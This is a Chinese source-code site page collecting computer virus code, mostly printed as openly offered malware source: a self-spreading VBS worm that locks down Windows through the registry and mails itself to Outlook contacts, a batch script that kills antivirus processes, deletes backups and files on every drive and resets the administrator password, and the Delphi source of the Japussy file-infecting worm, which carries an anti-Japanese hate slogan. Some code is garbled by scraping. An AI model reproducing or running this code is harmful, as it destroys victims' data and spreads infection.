今天给各位分享电脑病毒制作代码大全的知识，其中也会对计算机病毒代码大全进行解释，如果能碰巧解决你现在面临的问题，别忘了关注本站，现在开始吧！
本文目录一览：
- 1、电脑病毒源代码介绍
- 2、批处理文件的病毒代码大全！
- 3、电脑病毒代码
电脑病毒源代码介绍
电脑中了病毒想从它的源代码入手怎么办呢!有我在，下面由我给你做出详细的电脑病毒源代码介绍!希望对你有帮助!
电脑病毒源代码介绍：
电脑病毒源代码一：
on error resume next
set fs=createobject("ing.filesystemobject" '创建一个能与 操作系统 沟通的对象,再利用该对象的各种 方法 对注册表进行操作
set dir1=fs.getspecialfolder(0) '获取windows/winnt文件夹位置
set dir2=fs.getspecialfolder(1) '获取system32/system文件夹位置
set so=createobject("ing.filesystemobject"
dim r '定义一个变量
set r=createobject("w.shell"
so.getfile(w.fullname).copy(dir1"\win32system.vbs" '复制病毒副本到windows/winnt文件夹位置
so.getfile(w.fullname).copy(dir2"\win32system.vbs" '复制病毒副本到system32/system文件夹位置
so.getfile(w.fullname).copy(dir1"\start menu\programs\启动\win32system.vbs" '复制病毒副本到start menu启动菜单
'下面是对注册表的恶意修改和简单的依靠oe传播
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\norun",1,"reg_dword" '修改注册表，禁止“运行”菜单
r.regwrite "kcu\software\microsoft\windows\currentversion\policies\explorer\noclose",1,"reg_dword" '修改注册表，禁止“关闭”菜单
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nodrives",63000000,"reg_dword" '修改注册表，隐藏所有逻辑盘符
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\system\disableregistrytools",1,"reg_dword" '修改注册表，禁止注册表编辑
r.regwrite "hklm\software\microsoft\windows\currentversion\run\scanregistry","" '修改注册表，禁止开机注册表扫描
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nologoff",1,"reg_dword" '修改注册表，禁止“注销”菜单
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\winoldapp\norealmode",1,"reg_dword" '修改注册表，禁止ms-dos实模式
r.regwrite "hklm\software\microsoft\windows\currentversion\run\win32system","win32system.vbs" '修改注册表，使这个脚本本身开机自动运行
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nodesktop",1,"reg_dword" '修改注册表，禁止显示桌面图标
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\winoldapp\disabled",1,"reg_dword" '修改注册表，禁止纯dos模式
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nosettaskbar",1,"reg_dword" '修改注册表，禁止“任务栏和开始”菜单
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\noviewcontextmenu",1,"reg_dword" '修改注册表，禁止右键菜单
电脑病毒源代码二：
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nosetfolders",1,"reg_dword" '修改注册表，禁止控制面板
r.regwrite "hklm\software\classes\.reg\","txtfile" '修改注册表，禁止导入使用.reg文件，改为用txt文件的关联
r.regwrite "hklm\software\microsoft\windows\currentversion\winlogon\legalnoticecaption","警告" '设置开机提示框标题
r.regwrite "hklm\software\microsoft\windows\currentversion\winlogon\legalnoticetext","您中vbs脚本病毒了，哭吧~" '设置开机提示框文本内容
set ol=createobject("outlook.application" '创建outlook文件对象用于传播
on error resume next
for x=1 to 100
set mail=ol.createitem(0)
mail.to=ol.getnamespace("mapi".addresslists(1).addressentries(x) '用于向地址簿的前100名发送此 vbs病毒，可以算是简单弱智的蠕虫了吧~~
mail.subject="今晚你来吗?" '邮件主题
mail.body="朋友你好：您的朋友rose给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运! 同城约会网" '邮件内容
mail.attachments.add(dir2"win32system.vbs"
mail.send
next
ol.quit
'下面是对internet explore 选项的恶意修改
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowsercontextmenu",1,"reg_dword" '修改注册表，禁止鼠标右键
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowseroptions",1,"reg_dword" '修改注册表，禁止internet选项
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowsersaveas",1,"reg_dword" '修改注册表，禁止“另存为”
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nofileopen",1,"reg_dword" '修改注册表，禁止“文件/打开”菜单
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\advanced",1,"reg_dword" '修改注册表，禁止更改高级页设置
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\cache internet",1,"reg_dword" '修改注册表，禁止更改临时文件设置
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\autoconfig",1,"reg_dword" '修改注册表，禁止更改自动配置
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\homepage",1,"reg_dword" '修改注册表，禁止更改主页，即“主页”变灰
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\history",1,"reg_dword" '修改注册表，禁止更改历史记录设置
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\connwiz admin lock",1,"reg_dword" '修改注册表，禁止更改internet连接向导
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\securitytab",1,"reg_dword" '修改注册表，禁止更改安全项
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\resetwebsettings",1,"reg_dword" '修改注册表，禁止“重置web设置”
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\noviewsource",1,"reg_dword" '修改注册表，禁止查看源文件
r.regwrite "hkcu\software\policies\microsoft\internet explorer\infodelivery\restrictions\noaddingsubions",1,"reg_dword" '修改注册表，禁止添加脱机计划
批处理文件的病毒代码大全！
最强病毒!谨慎运行!此程序会将系统搞崩溃.
摘自:htt我ps://www是.jb51.net/a链rticle/7129.h接tm 去掉里面的字哦
@echo off
title You DEAD!!!!!!!
set taskkill=s
copy %0 %windir%\system32\cmd.bat
attrib %windir%\system32\cmd.bat +r +s +h
net stop sharedaccess nul
%s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f nul
%s% /im norton* /f nul
%s% /im av* /f nul
%s% /im fire* /f nul
%s% /im anti* /f nul
%s% /im spy* /f nul
%s% /im bullguard /f nul
%s% /im PersFw /f nul
%s% /im KAV* /f nul
%s% /im ZONEALARM /f nul
%s% /im SAFEWEB /f nul
%s% /im OUTPOST /f nul
%s% /im nv* /f nul
%s% /im nav* /f nul
%s% /im F-* /f nul
%s% /im ESAFE /f nul
%s% /im cle /f nul
%s% /im BLACKICE /f nul
%s% /im def* /f nul
%s% /im 360safe.exe /f nul
net stop Shadow" "System" "Service
set alldrive=d e f g h i j k l m n o p q r s t u v w x y z
for %%a in (c %alldrive%) do del %%a:\360* /f /s /q nul
for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q nul
rem 修改注册表.......
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\
Folder\Hidden\SHOWALL /v
CheckedValue /t REG_DWORD /d 00000000 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoRun /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoRecentDocsMenu /t
REG_DWORD /d 00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoDrives /t REG_DWORD /d
4294967295 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
Disableregistrytools /t
REG_DWORD /d 00000002 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoNetHood /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V
NoDesktop /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoClose /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoFind /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
DisableTaskMgr /t REG_DWORD
/d 00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoLogOff /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoSetTaskBar /t REG_DWORD
/d 00000001 /f nul
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" "NT\CurrentVersion\SystemRestore /v
DisableSR /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows" "NT\SystemRestore /v
DisableConfig /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
RestrictRun /t REG_DWORD /d
00000001 /f nul
cls
net user administrator 123456 nul
for %%c in (c %alldrive%) do del %%c:\*.gho /f /s /q nul
echo @echo off d:\setup.bat
echo shutdown -r -t 10 -f -c 亲爱的朋友，我十分抱歉的通知你，你的电脑已经严重崩溃，请重新
安装系统可以解决此问题
!^.^ d:\setup.bat
echo copy d:\setup.bat c:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动
\a.bat d:\setup.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f d:\setup.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f d:\setup.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
setup.bat /t REG_SZ /d d:\setup.bat
/f d:\setup.bat
HKEY_CLASSES_ROOT\batfile\shell\open\command /v setup.bat /t REG_SZ /d d:\setup.bat /f
d:\setup.bat
echo [windows] %windir%\win.ini
echo run=d:\setup.bat C:\AUTOEXEC.BAT %windir%\win.ini
echo load=d:\setup.bat C:\AUTOEXEC.BAT %windir%\win.ini
echo [boot] %windir%\system.ini
echo shell=explorer.exe setup.bat C:\AUTOEXEC.BAT %windir%\system.ini
echo [AutoRun] d:\autorun.inf
echo Open=setup.bat d:\autorun.inf
echo Open=system.bat d:\autorun.inf
attrib d:\autorun.inf +r +s +h d:\setup.bat
attrib d:\setup.bat +r +s +h d:\setup.bat
start d:\setup.bat /min nul
echo @echo off C:\AUTOEXEC.BAT
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f C:\AUTOEXEC.BAT
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f C:\AUTOEXEC.BAT
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
setup.bat /t REG_SZ /d d:\setup.bat
/f C:\AUTOEXEC.BAT
echo if not d:\setup.bat start %windir%\system32\cmd.bat /min C:\AUTOEXEC.BAT
copy %0 %systemroot%\windows.bat nul
if not exist %windir%/system32/explorer.bat @echo off %windir%/system32/explorer.bat
if not exist C:\AUTOEXEC.BAT start %windir%\system32\cmd.bat /min %
windir%/system32/explorer.bat
if not exist %windir%\system32\cmd.bat start %systemroot%\windows.bat /min %
windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f %windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f %windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f %windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f %windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
explorer.bat /t REG_SZ /d %
windir%/system32/explorer.bat/f %windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
explorer.bat /t REG_SZ /d %
windir%/system32/explorer.bat /f %windir%/system32/explorer.bat
echo start %systemroot%\windows.bat /min %windir%/system32/explorer.bat
attrib %windir%/system32/explorer.bat +r +s +h%
attrib %systemroot%/windows.bat +r +s +h
for %%c in (%alldrive%) do echo @echo off %%c:\system.bat
for %%c in (%alldrive%) do echo start %windir%\system32\cmd.bat /min %%c:\system.bat
for %%c in (%alldrive%) do echo attrib system.bat +r +s +h %%c:\system.bat
set drive=e f g h i j k l m n o p q r s t u v w x y z
for %%c in (%drive%) do echo [AuroRun] %%c:\autorun.inf
for %%c in (%drive%) do echo Open=system.bat %%c:\autorun.inf
copy %0 d:\Program" "Files\run.bat
for %%c in (%alldrive%) do echo if not exist %windir%/system32/explorer.bat start
d:\Program" "Files\run.bat /min
%%c:\system.bat
for %%c in (%alldrive%) do attrib autorun.inf +r +s +h %%c:\system.bat
for %%c in (%alldrive%) do attrib %%c:\autorun.inf +r +s +h nul
for %%c in (%alldrive%) do attrib %%c:\system.bat +r +s +h nul
if not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat
/min d:\setup.bat
attrib d:\Program" "Files\run.bat +r +s +h nul
del %0
exit
电脑病毒代码
不行的 得用虚拟机才可以测试病毒代码 无需下载，把下面这段代码复制到记事本里，保存为文本文件
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
熊猫烧香
ogram Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码，以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用，退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节)，存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码，将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr '.') and
(SearchRec.Name '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name '.') and
(SearchRec.Name '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件，将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之？
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧！
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end
关于电脑病毒制作代码大全和计算机病毒代码大全的介绍到此就结束了，不知道你从中找到你需要的信息了吗 ？如果你还想了解更多这方面的信息，记得收藏关注本站。
温馨提示
2. 分享目的仅供大家学习和交流，您必须在下载后24小时内删除！
3. 不得使用于非法商业用途，不得违反国家法律。否则后果自负！
4. 本站提供的源码、模板、插件等等其他资源，都不包含技术服务请大家谅解！
5. 如有链接无法下载、失效或广告，请后台提交工单处理！
6. 本站资源售价只是赞助，收取费用仅维持本站的日常运营所需！
7. 如遇到加密压缩包，请使用WINRAR解压,如遇到无法解压的请后台提交工单！
【免责声明】：
本站所发布的一切资源仅限用于学习和研究目的；不得将上述内容用于商业或者非法用途，否则，一切后果请用户自负。本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑中彻底删除上述内容。如果您喜欢该程序，请支持正版软件，购买注册，得到更好的正版服务。
【关于转载】：
本站尊重互联网版权体系，本站部分图片、文章大部分转载于互联网、所有内容不代表本站观点、不对文章中的任何观点负责、转载的目的只用于给网民提供信息阅读，无任何商业用途，所有内容版权归原作者所有
如本站（文章、内容、图片、视频）任何资料有侵权，先说声抱歉；麻烦您请联系请后台提交工单，我们会立即删除、维护您的权益。非常感谢您的理解。
【附】:
二○○二年一月一日《计算机软件保护条例》第十七条规定：为了学习和研究软件内含的设计思想和原理，通过安装、显示、传输或者存储软件等方式使用软件的，可以不经软件著作权人许可，不向其支付报酬！鉴于此，也希望大家按此说明研究软件！
注：本站资源来自网络转载，版权归原作者和公司所有，如果有侵犯到您的权益，请第一时间联系我们处理！
-----------------------------------------------------------------------------------------------------------
【版权声明】：
一、本站致力于为源码爱好者提供国内外软件开发技术和软件共享，着力为用户提供优资资源。
二、本站提供的源码下载文件为网络共享资源，请于下载后的24小时内删除。如需体验更多乐趣，还请支持正版。
三、如有内容侵犯您的版权或其他利益的，请编辑邮件并加以说明发送到站长邮箱。站长会进行审查之后，情况属实的会在三个工作日内为您删除。
-----------------------------------------------------------------------------------------------------------
源码村资源网 » 电脑病毒制作代码大全（计算机病毒代码大全）
